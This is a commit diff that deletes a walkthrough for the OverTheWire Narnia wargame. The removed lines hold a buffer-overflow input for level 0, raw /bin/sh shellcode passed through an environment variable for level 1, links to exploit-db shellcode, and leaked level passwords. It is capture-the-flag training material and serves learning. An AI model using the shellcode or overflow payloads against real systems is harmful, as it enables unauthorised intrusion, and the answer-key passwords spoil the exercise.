~a14m/OTW

16dd302ac368b015e2576735061a6dd35b66c5b0 — a14m 2 years ago f4e9090 master
Remove the Narnia solution that were used with blogs help
1 files changed, 0 insertions(+), 27 deletions(-)

M Narnia.md
M Narnia.md => Narnia.md +0 -27
@@ 1,29 1,2 @@
# [Narnia](https://overthewire.org/wargames/narnia/)

## Level 0
```bash
ssh narnia0@narnia.labs.overthewire.org -p 2226
cd /narnia
(echo -ne "AAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde"; cat) | ./narnia0
whoami
#> narnia1
cat /etc/narnia_pass/narnia1
#> efeidiedae
```
narnia1 : efeidiedae

## Level 1
Using [bin/sh shellcode](https://www.exploit-db.com/exploits/49976) or any other
[shellcode](https://www.exploit-db.com/search?q=%2Fbin%2Fsh+Shellcode)

```bash
ssh narnia1@narnia.labs.overthewire.org -p 2226
cd /narnia
EGG=`echo -ne "\xd9\xee\x9b\xd9\x74\x24\xf4\x5f\x83\xc7\x25\x8d\x77\x08\x31\xc9\xb1\x04\x0f\x6f\x07\x0f\x6f\x0e\x0f\xef\xc1\x0f\x7f\x06\x83\xc6\x08\xe2\xef\xeb\x08\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x9b\x6a\xfa\xc2\x85\x85\xd9\xc2\xc2\x85\xc8\xc3\xc4\x23\x49\xfa\x23\x48\xf9\x23\x4b\x1a\xa1\x67\x2a"` ./narnia1
cat /etc/narnia_pass/narnia2
#> nairiepecu
```
narnia2 : nairiepecu

## Level 2
Based on the https://www.exploit-db.com/exploits/33698